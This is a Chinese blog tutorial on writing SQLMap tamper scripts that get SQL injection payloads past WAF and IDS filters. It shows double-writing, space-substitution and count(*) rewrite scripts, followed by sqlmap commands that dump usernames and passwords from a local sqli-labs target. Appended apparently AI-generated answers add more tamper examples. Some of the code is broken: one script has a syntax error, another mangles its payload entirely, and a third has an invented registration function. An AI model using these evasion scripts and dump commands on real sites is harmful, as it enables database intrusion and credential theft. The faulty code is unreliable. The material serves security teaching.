【Python脚本】SQLMap的Tamper脚本——绕过网站自身

一、概念

1、SQLMap

实现SQL注入漏洞的检测与利用的自动化处理,其自带的Tamper脚本可以帮助绕过IDS/WAF的检测

2、Tamper脚本

绕过安全防护

3、IDS(入侵检测系统)

深入浅出讲解IDS(入侵检测系统)_ids是什么意思-CSDN博客

形象比喻:假如防火墙是一幢大楼的防盗门和安全锁,那么IDS(入侵检测系统)就是这幢大楼里的监视系统。一旦有小偷通过爬窗进入大楼,或者内部人员有越界行为,实时监视系统就会发现情况并发出警告

4、WAF(web应用防火墙)

WAF介绍-CSDN博客

是通过执行一系列针对HTTP,HTTPS的安全策略,来专门对web应用,提供保护的一款产品

二、SQL注入技术

1、基于布尔的盲注

能根据页面的返回内容判断真假

2、基于时间的盲注

不能根据页面的返回内容来判断信息,而是使用条件语句查看时间延迟语句是否执行(即页面的返回时间是否增加),以此来判断

3、基于报错的注入

根据页面返回的错误信息来判断,或者把注入语句的结果直接返回到页面中

4、堆查询注入

同时执行多条语句的执行时的注入

三、Tamper结构

难点是如何针对目标网站的防护找出对应的绕过方法

# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数
from lib.core.enums import PRIORITY
# 定义脚本优先级
__priority__ = PRIORITY.LOW

# 对当前脚本的介绍,可以为空
def dependencies():
	pass

'''
对传进来的payload进行修改并返回
函数有两个参数。主要更改的是payload参数,kwargs参数用得不多。
在官方提供的Tamper脚本中只被使用了2次,两次都只是更改了http-header
'''

def tamoper(payload,**kwargs):
	# 增加相关的payload处理,再将payload返回
	# 必须返回最后的payload
	return payload

四、脚本编写

1、双写绕过脚本

double-and-or.py

# 双写绕过脚本
# 导入正则模块,用于字符的替换
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

# 脚本描述函数
def dependencies():
	pass

def tamper(payload,**kwargs):
	# 将payload进行转存
	retVal = payload
	if payload:
		# 使用re.sub函数不区分大小写地替换and 和or
		# 将and和or替换为anandd和oorr
		retVal = re.sub(r"(?i)(or)",r"oorr",retVal)
		retVal = re.sub(r"(?i)(and)", r"anandd", retVal)
	#把最后修改好的payload返回
	return retVal

2、空格替换脚本

space2A0.py

# 空格替换脚本  ---以官方Tamper脚本的space2plus.py为模板进行更改
from lib.core.compat import xrange
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

# 脚本描述函数
def dependencies():
	pass

def tamper(payload,**kwargs):
	retVal = payload
	if payload:
		retVal = ""
		quote,doublequote,firstspace = False,False,False
		
		for i in xrange(len(payload)):
			if not firstspace:
				if payload[i].isspace():
					firstspace = True
					# 把原先的 + 改为%a0即可
					retVal += "%a0"
					continue
			elif payload[i] == '\'':
				quote = not quote
				
			elif payload[i] == '"':
				doublequote = not doublequote
			
			elif payload[i] = " " and not doublequote and not quote:
				# 把原先的 + 改为 %a0即可
				retVal += "%a0"
				continue
			retVal += payload[i]
	return retVal
		

3、count(*)替换为count(1)

count.py

import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def dependencies():
	pass

def tamper(payload,**kwargs):
	retVal = payload
	if payload:
		# 把count(*) 替换为count(1)
		retVal = re.sub(r"(?i)count\(\*\)",r"count(1)",payload)
	return retVal

五、脚本执行

1、找注入点

sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3" --tamper "double-and-or.py,space2A0.py" -v 3

2、遍历数据库

sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3"  -v 3 --tamper "double-and-or.py,space2A0.py"  -dbs

3、遍历security库里的数据表

sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3"  -v 3 --tamper "double-and-or.py,space2A0.py"  -D “security” --tables

4、遍历security库中users表的字段

sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3"  -v 3 --tamper "double-and-or.py,space2A0.py"  -D “security” -T “users” --columns

5、遍历数据

sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3"  -v 3 --tamper "double-and-or.py,space2A0.py"  -D “security” -T “users” -C “username,password” --dump

此时,没有数据,说明遍历数据库数据的payload还是有问题

payload中的count(*) 出现了关键词*,说明是被过滤了

再写一个脚本把count(*)进行替换,通过count(常数)来代替count(*)

继续遍历数据:

sqlmap -u "http://127.0.0.1/sql/Less-26/?id=3"  -v 3 --tamper "double-and-or.py,space2A0.py,count.py"  -D “security” -T “users” -C “username,password” --dump

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 我可以给你一种典型的Python脚本,它可以用于SQLMAPTamper模块:import randomdef tamper(payload, **kwargs): """ Replace random character with an upper case """ retVal = payload if payload: retVal = "" quote, double_quote, first = False, False, True for i in range(len(payload)): if payload[i] == '\'' and not double_quote: quote = not quote elif payload[i] == '"' and not quote: double_quote = not double_quote random_char = random.choice("abcdefghijklmnopqrstuvwxyz") if not quote and not double_quote: if first: random_char = random_char.upper() first = False retVal += random_char return retVal ### 回答2: SQLMap是一款常用的SQL注入工具,它包含了许多模块,其中tamper模块用于修改HTTP请求和响应以绕过WAF(Web应用程序防火墙)或其他过滤机制。 可以编写一个示例脚本来说明如何使用tamper模块中的Python脚本。以下是一个基本的示例: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- import random # 定义一个名称为my_tamper的函数 def my_tamper(payload, **kwargs): # 随机生成一个1或0的数,用于决定是否执行tamper if random.randint(0, 1) == 1: return payload else: # 将所有的'和"替换为%00 return payload.replace("'", "%00").replace('"', "%00") # 在tamper模块中注册函数 def register(): return {'my_tamper': my_tamper} ``` 上述脚本定义了一个名为`my_tamper`的函数,它接受一个名为`payload`的参数和其他任意参数,返回修改后的payload。在这个示例中,`my_tamper`函数的逻辑是随机决定是否执行tamper,如果执行tamper,则将payload中的单引号和双引号替换为`%00`。 脚本的最后一行`register()`用于将`my_tamper`函数注册到tamper模块中。 要在SQLMap中使用这个脚本,将脚本保存并命名为`my_tamper.py`,然后使用以下命令执行: `python sqlmap.py -u <target-url> --tamper my_tamper` 其中`<target-url>`是目标网站的URL。执行命令后,SQLMap将加载自定义的tamper脚本并将其应用于注入过程中的payload。 以上是一个简单的示例,tamper模块的具体使用方式和功能请参考SQLMap的官方文档以及tamper模块中的其他脚本。 ### 回答3: 下面是一个简单的SQLMAPtamper模块中的Python脚本示例: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- """ 这是一个SQLMAP tamper模块的示例。 该脚本用于在SQL注入漏洞测试期间修改从数据库获取的数据。 作者:聊聊AI小助手 """ import random import string # 定义tamper函数 def tamper(payload, **kwargs): # 生成一个随机字符串 random_string = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(5)]) # 将payload中的单引号替换为双引号 payload = payload.replace("'", '"') # 在payload中添加随机字符串 payload = payload.replace(" ", "/*{}*/".format(random_string)) return payload # 测试tamper函数 print(tamper("SELECT * FROM users WHERE id=1;")) ``` 上面的脚本是一个简单的tamper模块脚本示例,将payload中的单引号替换为双引号,并在payload中添加了一个随机字符串来绕过一些简单的过滤机制。 请注意,这只是一个示例,实际情况下,tamper模块的实现会更加复杂,并且会根据具体的注入漏洞和目标数据库进行调整。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值